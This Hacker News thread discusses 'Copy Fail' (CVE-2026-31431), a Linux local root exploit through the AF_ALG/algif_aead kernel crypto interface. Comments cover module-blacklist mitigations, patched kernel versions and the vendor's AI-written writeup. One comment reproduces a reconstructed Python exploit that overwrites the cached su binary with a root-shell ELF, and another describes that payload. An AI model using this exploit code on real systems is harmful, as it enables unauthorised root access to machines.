Hacker News

As I did not know what AF_ALG is in the first place I've searched for it and found this here:

https://www.chronox.de/libkcapi/html/ch01s02.html

It states the following:

> There are several reasons for AF_ALG:

> * The first and most important item is the access to hardware accelerators and hardware devices whose technical interface can only be accessed from the kernel mode / supervisor state of the processor. Such support cannot be used from user space except through AF_ALG.

> * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information from its memory and just use the cipher handle to perform the cryptographic operations. If the application is cracked an attacker cannot obtain the key material.

> * On memory constrained systems like embedded systems, the additional memory footprint of a user space cryptographic library may be too much. As the kernel requires the kernel crypto API to be present, reusing existing code should reduce the memory footprint.

I can't judge whether this is a good justification, but there is one.

Please don't rely on my judgement for this being safe for production, but after blacklisting the modules, the provided python exploit failed.

Check if the following are modules

  grep CONFIG_CRYPTO_USER_API /boot/config-$(uname -r)

  /etc/modprobe.d/blacklist-crypto-user-api.conf
  
  """
  blacklist af_alg
  blacklist algif_hash
  blacklist algif_skcipher
  blacklist algif_rng
  blacklist algif_aead

  install af_alg /bin/false
  install algif_hash /bin/false
  install algif_skcipher /bin/false
  install algif_rng /bin/false
  install algif_aead /bin/false
  """

  update-initramfs -u

For anyone wondering: AF_ALG is a Linux socket interface that exposes the kernel’s crypto API via file descriptors, using normal read(2)/write(2) calls for hashing and encryption.

I was completely unaware of https://syzbot.org, thanks for sharing!

> syzbot system continuously fuzzes main Linux kernel branches and automatically reports found bugs to kernel mailing lists. syzbot dashboard shows current statuses of bugs. All syzbot-reported bugs are also CCed to syzkaller-bugs mailing list. Direct all questions to [email protected].

What other kernel modules would you suggest disabling that aren't used usually?

It does enable address space separation of secret keys from user space, which some people love:

https://blog.cloudflare.com/the-linux-kernel-key-retention-s...

https://www.youtube.com/watch?v=7djRRjxaCKk

https://www.youtube.com/watch?v=lvZaDE578yc

So it's not as simple as "should not exist". I agree though that there doesn't seem to be a valid need to expose authencesn to user space.

Disclosure: I'm co-maintaining crypto/asymmetric_keys/ in the kernel and the author/presenter in the first two links is another co-maintainer.

The primary benefit of AF_ALG is IMHO when it's combined with kernel keyrings, i.e. ALG_SET_KEY_BY_KEY_SERIAL.

To steal from the sibling post:

> * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information [...]

It's even more than this: you can do crypto ops in user space without ever even having the key to begin with.

[Ed.: that said, maybe AF_ALG should be locked behind some CAP_*]

[Ed.#2: that said^2, I'm putting this one on authencesn, not AF_ALG. It's the extended sequence number juggling that went poorly, not AF_ALG at large. I bet this might even blow up in some strange hardware scenarios, "network packet on PCIe memory" or something like that - I'm speculating, though.]

Why is this available in the kernel on a box that does not use ipsec? should this be compile time enabled module instead than a generic solution?

Removing this will make the friendly spooks at NSA very sad....

I think it would be reasonable to deprecate af_alg in favor of a character device. It's more accessible that way. The downside is that the maintainers hate adding new ioctls. I think that's fair. But I don't think a "regular" device node would cover the functionality userland expects.

That said, elsewhere ITT it's pointed out there are only a few use cases so far.

How did it get in? Isn’t Linus known for being rightfully fussy about what makes it into the kernel?

Would be an interesting story.

Many things, such as ksmbd seems ill-advised when looked at from security. New AI driven exploits era will likely make projects more wary to adding functions.

can you please give me a real-life example of an application, on a typical linux laptop or typical linux server, which userspace application would use this CRYPTO_USER_API ? None that I looked at seem to use it: openssl, pgp, sha256sum

any idea what software this will break once I turn this kernel configuration off?

Seems like distros consider it a medium risk because it doesn't involve remote code execution and requires local access. Though it allows local root privilege escalation which is considered high priority.

https://ubuntu.com/security/cves/about#priority

> Medium: A significant problem, typically exploitable for many users. Includes network daemon denial of service, cross-site scripting, and gaining user privileges.

It was already known to attackers (or basically anyone watching) weeks ago when the patch hit the kernel but it wasn't communicated by upstream as a vuln (because Linus and Greg do not believe that vulnerabilities are conceptually relevant to the kernel).

RedHat has also changed it to "Important severity" and "Affected" now.

I thought that. surely people are going crazy right now owning anything with an our of date Wordpress exposed.

Yeah, by ubuntu's own guidelines linked on that page, this should be priority: high, but instead it's marked as medium.

most distros backport fixes which does not increment that version number. i.e. they patch it, they do not ship a completely new kernel release.

I dont really get why you'd

- buy a domain

- vibe code a page/artifact/whatever (which, given the quality of LLM wordings, only makes an argument less strong)

- post it on HN with no further explanation in the title

Why not write a detailed report? Even a tweet makes much more sense in my head than this. Even a logo??

Sorry if this comes over as salty, I guess I'm just not getting the thought process.

    modprobe algif_aead
    modprobe: FATAL: Module algif_aead not found in directory /lib/modules/6.14.3-x86_64-linode168

No, it is not affected by the exploit as presented. This is a page cache write, so writing to a binary that root will run later can work too. This isn’t a reason to push an agenda that dislikes setuid binaries.

LPE is a very well-known acronym within the security community, it's not purely academic or obscure or anything.

I agree that it would be a good idea to define it explicitly when writing for a broader audience, but I don't think it's particularly egregious that they didn't. It's certainly something I could see myself forgetting.

Then again, the whole writeup appears to be AI-generated, so...

Good writing for a broad audience requires it. Unfortunately the LLMs don't tend to adopt this guideline.

To be fair, I just consulted 3 cybersecurity glossaries (SANS.org, NIST CSRC, Huntress), and none of them list "LPE" nor "Local Privilege Escalation".

If you type "LPE" into English Wikipedia's search bar, and press "Enter", you'll be sent to a disambiguation page which contains a link to the relevant article.

https://en.wikipedia.org/wiki/LPE

I don't know why, but newer writers have never been taught to expand their acronyms on first use. I blame the US education system.

I don't see what the issue is, my agent is already running as root.

Good thing we haven't normalized installing things with curl | sh

This is pretty obviously an advertisement but it's a pretty good advertisement imo, it pairs a meaningful contribution to the OSS ecosystem (discovering and patching a real bug) with selling your cybersecurity tool at the same time.

These guys don't need to advertise, they are already 100% busy with work. But who wastes their time manually creating web pages? Especially kernel devs.

How about blacklisting algif_aead initialization function on RHEL 9/10? I added "initcall_blacklist=algif_aead_init" to the kernel boot options and rebooted. The exploit is not working anymore.

FYI RHEL's SELinux policy blocks AF_ALG socket creation for confined services out of the box. But disabling via RestrictAddressFamilies= unit option, or initcall_blacklist= kernel parameter, seems to be a good mitigation for unconfined services, users and containers.

I was coming up with the same intuition. However, it's like a whack-a-mole. What about cronjobs and slurmjobs and other services? Is there a way to do this directly on systemd so that all other processes inherit it rather than doing it on each one?

On a git repo that has as remotes

    https://github.com/torvalds/linux.git
    https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git as remotes:

    git log --all --grep 'crypto: algif_aead - Revert to operating out-of-place' '--format=%H' | xargs -I '{}' git tag --contains '{}' | sort -u

    v6.18.22
    v6.18.23
    v6.18.24
    v6.18.25
    v6.19.12
    v6.19.13
    v6.19.14
    v7.0
    v7.0.1
    v7.0.2
    v7.0-rc7
    v7.1-rc1

Major os vendors will publish pages with the fixed versions:

https://security-tracker.debian.org/tracker/CVE-2026-31431

https://ubuntu.com/security/CVE-2026-31431

Also, disabling algif_aead is suggested as mitigation

>The website claims it can escape "Kubernetes / container clusters" and "CI runners & build farms" but I don't see anything supporting the claim it can escape a container

they state that the write-up is forthcoming. presumably there is some additional steps or modifications that will be detailed in the 'part 2'.

"Next: "From Pod to Host," how Copy Fail escapes every major cloud Kubernetes platform."

It overwrites bytes in memory of any file you can read. It's not hard to imagine how it could escape a lot of things.

The 2017 claim is based on the vulnerability having been introduced in this commit in the second half of 2017: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/lin...

The details will depend on whether the kernel is a newer release or a maintenance version of an older release.

> They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine

They've done themselves no favours at all with their write up.

It does seem legitimate (I was able to use the PoC on a 24.04 instance), and seems like it should be a big deal, but the actual number of affected distributions seems way lower, and not even remotely as per their claim every distribution since 2017.

For example with Ubuntu, if I'm reading it right there's some impact in 16.04 (EOL), but then at least as per their analysis, only the vendor specific 6.17 kernels they ship that have it (e.g. linux-gcp, linux-oracle-6.7 etc.). That's a relatively new kernel version they started shipping recently, after it was released upstream last September.

If you can get to real UID 0 from a rootless container, you can escape it, but you do need to take extra steps. Same with it working on Alpine: the underlying vulnerability probably still exists, but the script might need some adjusting. It's a PoC, not a full exploit for every situation.

Kubernetes 1.33 switches to user namespaces enabled by default, which I imagine is the same underlying mechanism that rootless Podman uses. `hostUsers: false` is the way to ensure that root in the pod is root on the host. It's trivial for a real (unmapped) root to escape a Kubernetes pod.

Their PoC does as you say, but is built upon arbitrary modification of the page cache, which could be abused for the other things

It also doesn't work on Raspberry Pi, though presumably it could easily be made to; it does replace the su binary, but the replacement is not executable.

Did you try it on systems that don't have the patch already? Seems many distributions already shipped kernels with the patch ~a month ago.

there is a PoC floating around for Alpine.

I also tested this on an Ubuntu 24.04 (x86_64) host w/ GA kernel ("6.8.0-103-generic #103-Ubuntu SMP PREEMPT_DYNAMIC Tue Feb 10 13:34:59 UTC 2026 x86_64 GNU/Linux") and wasn't able to reproduce the "problem", although `canonical-livepatch` tells me that there are currently "no livepatches available".

The binary "zip" isn't the exploit, it's the shellcode. The exploit is the rest, which changes the code of a SUID executable (su).

I have a C translation here that should be pretty readable https://github.com/tgies/copy-fail-c

The call to zlib basically overwrites a minimal ELF into a portion of the `su` binary, which exceve's /bin/sh.

Yes. So cringy.

This has frustratingly low information density for a technical writeup. The LLM output on the marketing page is whatever, but here it really feels like my time isn’t being respected.

Don't you have like, a sudo in /run/wrappers/bin?

EDIT: Sorry, I failed at reading your message. Never mind.

Yes I would imagine lots of those type of services would be vulnerable if they hadn't updated to the latest kernel versions.

A workaround might be to make all setuid/setgid files non-world-readable because then they cannot be opened at all, and thus there is no setuid file to replace the contents of.

It being readable is the default configuration most places, after all the purpose is to call it from a non-privileged user. But I could see it being made non-readable since its use is discouraged nowadays... though then I'd expect sudo to be readable as an alternative.

Oddly, the POC doesn't work on my Debian 12 (Bookworm) EC2 instance. Everything that should indicate it's vulnerable is there, including the ability to socket(38,5,0).bind("aead", "authencesn(hmac(sha256),cbc(aes))")

14.3 seems to come from some Red Hat-specific GCC version, which can be reported as "gcc (GCC) 14.3.1 20250617 (Red Hat 14.3.1-2)". See these random examples I found by googling:

https://github.com/anthropics/claude-code/issues/40741 (gcc version "Red Hat 14.3" included in system version at the bottom)

https://docs.oracle.com/en/database/oracle/tuxedo/22/otxig/s...

On the same line it says kernel version 6.12.0-124.45.1.el10_1. Which is RHEL 10. This is the kind of typo that humans make -- the hard to type numbers are accurate because they're cut and pasted, but the "easy" numbers have errors because they're not cut and pasted.

ugh sorry should be fixed. There was some scrambling to get more info together to explain the issue (and yes, obviously marketing), so there are some minor mistakes. Thanks for pointing it out!

https://x.com/i/status/2049687923814281351

> and yes, RHEL 14.3 doesn't exist We meant to say RHEL 10.1. Sorry for the confusion!

I just tested on my home server running ubuntu 24.04 LTS with newest kernel from repositories, got root.

As far as mainline goes, only 7.0 and up have the patch already.

I rewrote it quickly to C [1] (and changed the embedded binary to be aarch64).

Unfortunately it fails on calling bind() on my device, so probalby Android doesn't ship with that kenrel module by default :(. So no freedom for my $40 phone.

Putting it out here, maybe somebody else will have better luck.

[1] https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...

There’s SELinux, everything is mounted nosuid, barely anything runs as root except init. I doubt it.

I’ve poked around on my phone and it didn’t work:

    File "/data/data/com.termux/files/home/a.py", line 5, in c
      a=s.socket(38,5,0); # ...
    File "/data/data/com.termux/files/usr/lib/python3.13/socket.py", line 233, in __init__
      _socket.socket.__init__(self, family, type, proto, fileno)
      ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  PermissionError: [Errno 13] Permission denied

Android is smarter than setuid + system partitions aren't writable.

On my Arch boxes the official exploit works, both with the LTS kernel (6.18.21-1-lts) and the mainline release (6.19.6-arch1-1).

What is your Python version? Splice was added in 3.10.

https://docs.python.org/3/library/os.html#os.splice

It is trivial to re-write splice, just because the PoC uses it does not mean you're "not affected".

Hilariously, "os as g" adds one more byte than it saves, since os is only used 4 times but the alias takes 5 extra bytes to save 4. And "socket as s" comes out even.

If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes.

We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.

I don't see it as fetishizing byte count. I think of it as a proxy measure for how complicated or uncomplicated the exploit might be. They could just as well have said "we can do it in 3 lines of python" or "the Shannon entropy of the script implementing the exploit is really small" and I would have interpreted it similarly.

Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.

I don't get the 732-byte thing either and while I think it's a relatively punchy and unusually informative landing page for named vulnerability there are little snags like this all over it.

But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.

Glad I’m not alone. The whiplash from “oh, python I can read this” to “what the hell does that do” was jarring.

Assuming AI was correct, it unpacks more or less like this

import os, zlib, socket

AF_ALG = 38

SOCK_SEQPACKET = 5

SOL_ALG = 279

def hex_bytes(x):

    return bytes.fromhex(x)

    sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)

    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    sock.setsockopt(SOL_ALG, 1, hex_bytes("0800010000000010" + "0" * 64))

    sock.setsockopt(SOL_ALG, 5, None, 4)

    op, _ = sock.accept()

    length = offset + 4

    zero = b"\x00"

    op.sendmsg(

        [b"A" * 4 + patch4],

        [

            (SOL_ALG, 3, zero * 4),

            (SOL_ALG, 2, b"\x10" + zero * 19),

            (SOL_ALG, 4, b"\x08" + zero * 3),

        ],

        32768,

    )

    read_pipe, write_pipe = os.pipe()

    os.splice(fd, write_pipe, length, offset_src=0)

    os.splice(read_pipe, op.fileno(), length)

    try:

        op.recv(8 + offset)

    except:

        pass

payload = zlib.decompress(bytes.fromhex("..."))

offset = 0

while offset < len(payload):

    trigger(target, offset, payload[offset:offset + 4])

    offset += 4

llms love that though

"The honest solution: a clean 50-line cut" and so on, ad nauseam

I started to take the exploit script apart and reformat it to be something readable. At about 1041 bytes it's actually readable. The heart of it also includes an encoded zlib compressed blob that's 180 bytes long ('78daab77...'). This is decompressed (zlib.decompress(d(BLOB)) to a 160 byte ELF header.

> I would absolutely never approve review of any code that used this.

How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you've faced this a lot.

I always thought code quality mattered less in those, as long as you communicate the intent.

While I agree that it doesn't make much sense to use a minimizer on code the reader could understand, the code-golfed byte count of a CVE repro communicates its complexity in a certain visceral way.

It's just lazy AI* writing w/0 editing.

"Just" is doing a lot of work there, I'm so annoyed reading it.

It's like an anti-ad and they had pretty cool material to work with.

* Claude loves stacatto "Some numeric figure. Something else. Intensifier" (ex. the "exploitable for a decade." or whatever sentences)

This is pretty legible compared to the 90s C rootshell.org exploits.

> Anyway, I could go on.

Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell?

https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe...

edit: If we drop offset_src=0 and just pass in 0 positionally, it comes down to 720.

>As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.

lucky for them, its an exploit script, not enterprise code.

all that needs to be "reviewed" is whether or not it exploits the thing its supposed to.

edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming

It's an advertisement for their tool that found the exploit: https://copy.fail/#contact, https://xint.io/products/xint-code

The AI generated prose screams marketing. Marketing is why there's a "Contact our Security Team" form at the bottom of the page.

It's certainly marketing, but it's prosocial: there's no scarcity of names, and "copy.fail" is much easier to remember and talk about than "CVE-2026-31431".

can you remember what CVE-2021-44228 is without looking it up? CVE-2014-6271? CVE-2017-5753?

i bet if i told you their names, you would instantly know what vulns those are.

its easier to talk about things with names. it hurts no one. it takes approximately no effort or time.

CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.

Probably to some extent it is marketing, but generally it has to do with significant bug finds to get the message out to the people who need to apply patches and/or be informed. Heartbleed, Log4Shell, etc.

Very few CVE’s get names dedicated to them like this, because usually when they do - it is very serious, as in this case.

Giving catchy names for bad exploits has been a thing for a while. Probably to make sure it's easy to reference and make sure you're patches as opposed to passing numbers around. Heartbleed, Shellshock, BEAST, Goto Fail, etc

Yes, originally it was to help spread awareness. Now it has become more of a gimmick I would say

It makes sure people don't forget about the vulnerabilities, at least

Same reason they name storms, numbers scare normies

And yeah, you can just change arbitrary instructions of any running process (including privileged) as long as you have read access to that process' binary:

https://object.ceph-waw3.hswaw.net/mastodon-prod/media_attac...

Wouldn't executing it still put it in the page cache, just in a different place?

This vulnerability can affect any file you can read. The PoC uses "su" but any setuid binary or any binary that root invokes or is already running as root is vulnerable, as well as many configuration files.

No, Android doesn’t have suid binaries to exploit like in the PoC

> This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)

It doesn't, it's just a compressed ELF file that does setuid(0); execve(/bin/sh, 0, 0). You can just unzlib it and throw it in a disassembler.

This can likely be shipped as binary code without dependencies like python, as the bug is in the kernel.

There's nothing specific about this related to Python, that's just demonstrating how it works.

This is usable anywhere on an affected Kernel version

You’d have to reinstall the su binary itself I guess

Attempting to open an AF_ALG socket will load the module on-demand if necessary.

They've bumped the severity and 8/9/10 are now 'affected'. Hope a patch comes soon!

It's the same with Gentoo, setuid binaries are installed without read permission.

But modifying a setuid binary is just the demo exploit that was published with the vulnerability disclosure. The vulnerability actually allows modifying four bytes in any readable file. That means system configuration files, other binaries intended to be run by root, libraries... It's not limited to modifying setuid binaries.

Analysis of the POC concurs with my tests that confirm that the portion of `su` that gets overwritten does not survive a reboot.

The page explicitly describes that it is stealthy as it does not make permanent changes, only corrupting the binary in memory.

There's a claim upthread that a straightforward variation works against /etc/passwd.

Any pointers on how to set that up? Like, run all the things through strace, cut the first field, sort, uniq, run through some template and something somesuch what how?

I used, for debian based systems:

  printf "# CVE-2026-31431\nblacklist algif_aead\ninstall algif_aead /bin/false\n" | sudo tee /etc/modprobe.d/blacklist-algif_aead.conf >/dev/null && sudo update-initramfs -u

7.0-rc1 has a tag with it:

    % git describe a664bf3d603d
    v7.0-rc1-10-ga664bf3d603d

yes, it was reported on march 23rd, patches on april 1.

you are reading about it now because it has been patched.

same result on my arch machine as well.

A human security researcher found the core issue and an agent searched for where to apply it. I don’t think “an agent found it in one hour” is a fair summary of what happened.